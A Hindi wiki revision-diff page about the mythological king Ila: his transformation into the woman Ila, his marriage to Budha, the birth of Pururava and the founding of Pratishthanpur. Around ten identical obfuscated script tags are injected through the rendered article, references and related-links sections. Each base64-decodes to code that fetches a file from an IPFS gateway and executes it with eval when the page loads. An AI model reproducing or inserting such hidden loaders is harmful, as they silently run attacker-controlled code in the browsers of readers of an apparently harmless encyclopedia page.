"इल" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''इल''' प्रजापति कर्दम के पुत्र और वाह्लीक देश के राज...' के साथ नया पन्ना बनाया)
 
 
(2 सदस्यों द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''इल''' प्रजापति [[कर्दम]] के पुत्र और वाह्लीक देश के राजा थे। एक समय शिकार खेलते हुये वे उस स्थान पर जा पहुँचे, जहाँ [[कार्तिकेय]] का जन्म हुआ था। यहाँ भगवान [[शंकर]] अपने सेवकों के साथ [[पार्वती]] का मनोरंजन करते थे। उस प्रदेश में [[शिव]] की माया से सभी प्राणी स्त्री वर्ग के हो गये थे।
+
'''इल''' प्रजापति [[कर्दम]] के पुत्र और [[वाह्लीक|वाह्लीक देश]] के राजा थे। वैवस्वत मनु श्रद्धा को संतान नहीं थी। उन्होंने मित्रावरुणों को प्रसन्न करने के लिए वसिष्ठ द्वारा पुत्रकामेष्टि यज्ञ कराया। श्रद्धा चाहती थीं कि उसे कन्या हो अत: यज्ञ की समाप्ति पर उसे कन्या ही हुई--नाम पड़ा इला। बाद में, मनु के अनुरोध पर, वरिष्ठ ने बालिका को पुत्र बनाया, तब इसका नाम इल पड़ा।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 1|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=540 |url=}}</ref> एक समय शिकार खेलते हुये वे उस स्थान पर जा पहुँचे, जहाँ [[कार्तिकेय]] का जन्म हुआ था। यहाँ भगवान [[शंकर]] अपने सेवकों के साथ [[पार्वती]] का मनोरंजन करते थे। उस प्रदेश में [[शिव]] की माया से सभी प्राणी स्त्री वर्ग के हो गये थे।
  
राजा इल ने वहाँ देखा कि पार्वती को प्रसंन्न करने के लिए शंकर जी ने नारी रुप धारण कर रखा है। वहाँ के सब पशु-पक्षी भी मादा रुप में दिखाई पड़े। तभी इल और उसके साथी भी सुंदरियों में परिवर्तित हो गये। वे लोग बहुत चितित होकर शिव के पास पहुंचे। उन्होंने कहा कि पुरुषत्व के अतिरिक्त वे कुछ भी मांग लें। हताश होकर वे लोग पार्वती पास पहुंचे, क्योंकि वे आधे कर्मों की स्वामिनी थीं। पार्वती ने उन्हें एक मास स्त्री और दूसरे मास पुरुष-रुप में रहने का वर दिया। स्त्री का रूप पाकर वे पुरुष की बातें भुल जाते थे। उन सुदरियों को मार्ग में तपस्यारत [[चन्द्र देव|चन्द्र]] पुत्र [[बुध देवता|बुध]] मिले। बुध इल, जो स्त्री रूप में '[[इला]]' कहलाते थे, पर आसक्त हो गये। शेष सुंदरियों के लिए 'कि पुरुषी' जाति के रूप में वहीं रहने की व्यावस्था करके बुध ने इला से [[विवाह]] कर लिया। इला के स्त्री-पुरुष रूप धारण करने का क्रम चलता रहा, किंतु साथ ही उसने कालांतर में बुध के पुत्र [[पुरुरवा]] को जन्म दिया। तदनंतर बुध के पुत्र ने [[ब्राह्मण|ब्राह्मणों]] को बुलाकर [[अश्वमेघ यज्ञ]] करवाया, जिससे प्रसंन्न होकर शंकर ने इला को पुन: पुरुष (इल) बना दिया। अपना भूतपूर्व नगर वाह्लीक अपने पुत्र शशबिदु को सौपकर राजा इल ने '[[प्रतिष्ठानपुर]]' बसाया। ब्रह्मलोक जाते हुए उन्होंने प्रतिष्ठानपुर पुरुरवा को सौप दिया
+
राजा इल ने वहाँ देखा कि पार्वती को प्रसन्न करने के लिए शंकर जी ने नारी रूप धारण कर रखा है। वहाँ के सब पशु-पक्षी भी मादा रूप में दिखाई पड़े। परिणामस्वरूप यह फिर स्त्री बन गया और उसके साथी भी सुंदरियों में परिवर्तित हो गये। वे लोग बहुत चिंतित होकर [[शिव]] के पास पहुंचे। उन्होंने कहा कि पुरुषत्व के अतिरिक्त वे कुछ भी मांग लें। हताश होकर वे लोग पार्वती के पास पहुंचे, क्योंकि वे आधे कर्मों की स्वामिनी थीं। पार्वती ने उन्हें एक मास स्त्री और दूसरे मास पुरुष रूप में रहने का वर दिया। स्त्री का रूप पाकर वे पुरुष की बातें भुल जाते थे। उन सुंदरियों को मार्ग में तपस्यारत [[चन्द्र देव|चन्द्र]] पुत्र [[बुध देवता|बुध]] मिले। बुध इल, जो स्त्री रूप में '[[इला]]' कहलाते थे, पर आसक्त हो गये। शेष सुंदरियों के लिए 'कि पुरुषी' जाति के रूप में वहीं रहने की व्यवस्था करके बुध ने इला से [[विवाह]] कर लिया। इला के स्त्री-पुरुष रूप धारण करने का क्रम चलता रहा, किंतु साथ ही उसने कालांतर में बुध के पुत्र [[पुरुरवा]] को जन्म दिया। तदनंतर बुध के पुत्र ने [[ब्राह्मण|ब्राह्मणों]] को बुलाकर [[अश्वमेध यज्ञ]] करवाया, जिससे प्रसंन्न होकर शंकर ने इला को पुन: पुरुष (इल) बना दिया। अपना भूतपूर्व नगर [[वाह्लीक]] अपने पुत्र शशबिंदु को सौपकर राजा इल ने '[[प्रतिष्ठानपुर]]' बसाया। ब्रह्मलोक जाते हुए उन्होंने प्रतिष्ठानपुर पुरुरवा को सौप दिया
  
 
{{seealso|इला}}
 
{{seealso|इला}}
पंक्ति 8: पंक्ति 8:
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
==बाहरी कड़ियाँ==
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{पौराणिक चरित्र}}
 
{{पौराणिक चरित्र}}
[[Category:पौराणिक चरित्र]][[Category:पौराणिक कोश]][[Category:प्रसिद्ध चरित्र और मिथक कोश]]
+
[[Category:पौराणिक चरित्र]][[Category:पौराणिक कोश]][[Category:प्रसिद्ध चरित्र और मिथक कोश]][[Category:कथा साहित्य कोश]][[Category:हिन्दी विश्वकोश]]
 
__INDEX__
 
__INDEX__

12:19, 28 जून 2018 के समय का अवतरण

इल प्रजापति कर्दम के पुत्र और वाह्लीक देश के राजा थे। वैवस्वत मनु श्रद्धा को संतान नहीं थी। उन्होंने मित्रावरुणों को प्रसन्न करने के लिए वसिष्ठ द्वारा पुत्रकामेष्टि यज्ञ कराया। श्रद्धा चाहती थीं कि उसे कन्या हो अत: यज्ञ की समाप्ति पर उसे कन्या ही हुई--नाम पड़ा इला। बाद में, मनु के अनुरोध पर, वरिष्ठ ने बालिका को पुत्र बनाया, तब इसका नाम इल पड़ा।[1] एक समय शिकार खेलते हुये वे उस स्थान पर जा पहुँचे, जहाँ कार्तिकेय का जन्म हुआ था। यहाँ भगवान शंकर अपने सेवकों के साथ पार्वती का मनोरंजन करते थे। उस प्रदेश में शिव की माया से सभी प्राणी स्त्री वर्ग के हो गये थे।

राजा इल ने वहाँ देखा कि पार्वती को प्रसन्न करने के लिए शंकर जी ने नारी रूप धारण कर रखा है। वहाँ के सब पशु-पक्षी भी मादा रूप में दिखाई पड़े। परिणामस्वरूप यह फिर स्त्री बन गया और उसके साथी भी सुंदरियों में परिवर्तित हो गये। वे लोग बहुत चिंतित होकर शिव के पास पहुंचे। उन्होंने कहा कि पुरुषत्व के अतिरिक्त वे कुछ भी मांग लें। हताश होकर वे लोग पार्वती के पास पहुंचे, क्योंकि वे आधे कर्मों की स्वामिनी थीं। पार्वती ने उन्हें एक मास स्त्री और दूसरे मास पुरुष रूप में रहने का वर दिया। स्त्री का रूप पाकर वे पुरुष की बातें भुल जाते थे। उन सुंदरियों को मार्ग में तपस्यारत चन्द्र पुत्र बुध मिले। बुध इल, जो स्त्री रूप में 'इला' कहलाते थे, पर आसक्त हो गये। शेष सुंदरियों के लिए 'कि पुरुषी' जाति के रूप में वहीं रहने की व्यवस्था करके बुध ने इला से विवाह कर लिया। इला के स्त्री-पुरुष रूप धारण करने का क्रम चलता रहा, किंतु साथ ही उसने कालांतर में बुध के पुत्र पुरुरवा को जन्म दिया। तदनंतर बुध के पुत्र ने ब्राह्मणों को बुलाकर अश्वमेध यज्ञ करवाया, जिससे प्रसंन्न होकर शंकर ने इला को पुन: पुरुष (इल) बना दिया। अपना भूतपूर्व नगर वाह्लीक अपने पुत्र शशबिंदु को सौपकर राजा इल ने 'प्रतिष्ठानपुर' बसाया। ब्रह्मलोक जाते हुए उन्होंने प्रतिष्ठानपुर पुरुरवा को सौप दिया

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: इला<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 540 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>